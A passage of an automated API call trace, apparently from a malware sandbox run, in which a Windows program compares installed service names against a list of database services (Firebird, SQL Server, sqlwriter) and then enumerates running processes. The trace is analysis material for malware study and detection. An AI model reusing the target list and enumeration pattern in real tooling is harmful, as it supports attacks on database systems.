lpString2="ClickToRunSvc") returned 1 [0252.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0252.606] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0252.606] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0252.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0252.606] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0252.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0252.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0252.606] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0252.606] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0252.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0252.606] lstrlenW (lpString="CryptSvc") returned 8 [0252.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0252.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0252.606] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0252.606] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0252.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0252.606] lstrlenW (lpString="DcomLaunch") returned 10 [0252.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0252.606] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0252.607] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0252.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0252.607] lstrlenW (lpString="DeviceAssociationService") returned 24 [0252.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0252.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0252.607] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0252.607] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0252.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0252.607] lstrlenW (lpString="Dhcp") returned 4 [0252.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0252.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0252.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0252.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0252.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0252.607] lstrlenW (lpString="Dnscache") returned 8 [0252.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0252.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0252.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0252.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0252.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0252.607] lstrlenW (lpString="DPS") returned 3 [0252.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0252.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0252.607] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0252.607] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0252.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0252.608] lstrlenW (lpString="DusmSvc") returned 7 [0252.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0252.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0252.608] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0252.608] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0252.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0252.608] lstrlenW (lpString="EventLog") returned 8 [0252.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0252.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0252.608] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0252.608] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0252.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0252.608] lstrlenW (lpString="EventSystem") returned 11 [0252.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0252.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0252.608] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0252.608] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0252.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0252.608] lstrlenW (lpString="FontCache") returned 9 [0252.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0252.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0252.608] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0252.608] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0252.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0252.608] lstrlenW (lpString="gpsvc") returned 5 [0252.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0252.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0252.609] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0252.609] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0252.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0252.609] lstrlenW (lpString="iphlpsvc") returned 8 [0252.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0252.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0252.609] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0252.609] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0252.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0252.609] lstrlenW (lpString="KeyIso") returned 6 [0252.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0252.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0252.609] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0252.609] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0252.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0252.609] lstrlenW (lpString="LanmanServer") returned 12 [0252.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0252.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0252.609] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0252.609] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0252.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0252.609] lstrlenW (lpString="LanmanWorkstation") returned 17 [0252.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0252.609] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0252.609] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0252.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0252.610] lstrlenW (lpString="lfsvc") returned 5 [0252.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0252.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0252.610] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0252.610] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0252.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0252.610] lstrlenW (lpString="lmhosts") returned 7 [0252.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0252.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0252.610] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0252.610] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0252.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0252.610] lstrlenW (lpString="LSM") returned 3 [0252.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0252.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0252.610] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0252.610] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0252.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0252.610] lstrlenW (lpString="MpsSvc") returned 6 [0252.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0252.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0252.610] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0252.610] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0252.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0252.611] lstrlenW (lpString="NcbService") returned 10 [0252.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0252.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0252.611] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0252.611] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0252.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0252.611] lstrlenW (lpString="netprofm") returned 8 [0252.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0252.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0252.611] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0252.611] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0252.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0252.611] lstrlenW (lpString="NgcSvc") returned 6 [0252.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0252.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0252.611] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0252.611] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0252.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0252.611] lstrlenW (lpString="NlaSvc") returned 6 [0252.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0252.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0252.611] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0252.611] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0252.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0252.611] lstrlenW (lpString="nsi") returned 3 [0252.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0252.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0252.611] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0252.611] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0252.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0252.611] lstrlenW (lpString="PcaSvc") returned 6 [0252.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0252.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0252.612] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0252.612] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0252.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0252.612] lstrlenW (lpString="PlugPlay") returned 8 [0252.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0252.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0252.612] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0252.612] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0252.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0252.612] lstrlenW (lpString="Power") returned 5 [0252.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0252.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0252.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0252.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0252.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0252.612] lstrlenW (lpString="ProfSvc") returned 7 [0252.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0252.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0252.612] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0252.612] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0252.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0252.612] lstrlenW (lpString="RpcEptMapper") returned 12 [0252.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0252.612] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0252.612] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0252.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0252.612] lstrlenW (lpString="RpcSs") returned 5 [0252.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0252.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0252.612] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0252.613] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0252.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0252.947] lstrlenW (lpString="SamSs") returned 5 [0252.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0252.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0252.947] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0252.947] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0252.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0252.947] lstrlenW (lpString="Schedule") returned 8 [0252.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0252.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0252.947] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0252.947] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0252.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0252.947] lstrlenW (lpString="SecurityHealthService") returned 21 [0252.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0252.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0252.947] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0252.947] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0252.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0252.947] lstrlenW (lpString="SENS") returned 4 [0252.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0252.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0252.947] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0252.947] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0252.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0252.947] lstrlenW (lpString="ShellHWDetection") returned 16 [0252.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0252.947] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0252.947] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0252.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0252.948] lstrlenW (lpString="Spooler") returned 7 [0252.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0252.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0252.948] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0252.948] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0252.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0252.948] lstrlenW (lpString="StateRepository") returned 15 [0252.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0252.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0252.948] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0252.948] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0252.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0252.948] lstrlenW (lpString="SysMain") returned 7 [0252.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0252.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0252.948] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0252.948] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0252.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0252.948] lstrlenW (lpString="SystemEventsBroker") returned 18 [0252.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0252.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0252.948] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0252.948] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0252.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0252.948] lstrlenW (lpString="Themes") returned 6 [0252.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0252.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0252.948] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0252.948] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0252.948] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4205e48 | out: hHeap=0x670000) returned 1 [0252.949] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x528 [0252.953] Process32FirstW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.953] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.953] lstrlenW (lpString="System") returned 6 [0252.954] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.954] lstrlenW (lpString="smss.exe") returned 8 [0252.954] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.954] lstrlenW (lpString="csrss.exe") returned 9 [0252.954] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.955] lstrlenW (lpString="wininit.exe") returned 11 [0252.955] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.955] lstrlenW (lpString="csrss.exe") returned 9 [0252.956] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.956] lstrlenW (lpString="winlogon.exe") returned 12 [0252.956] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.957] lstrlenW (lpString="services.exe") returned 12 [0252.957] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.958] lstrlenW (lpString="lsass.exe") returned 9 [0252.958] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0252.958] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0252.959] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0252.959] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0252.959] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.960] lstrlenW (lpString="svchost.exe") returned 11 [0252.960] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.960] lstrlenW (lpString="svchost.exe") returned 11 [0252.960] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0252.961] lstrlenW (lpString="dwm.exe") returned 7 [0252.961] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.961] lstrlenW (lpString="svchost.exe") returned 11 [0252.961] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.962] lstrlenW (lpString="svchost.exe") returned 11 [0252.962] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.962] lstrlenW (lpString="svchost.exe") returned 11 [0252.962] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.963] lstrlenW (lpString="svchost.exe") returned 11 [0252.963] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, 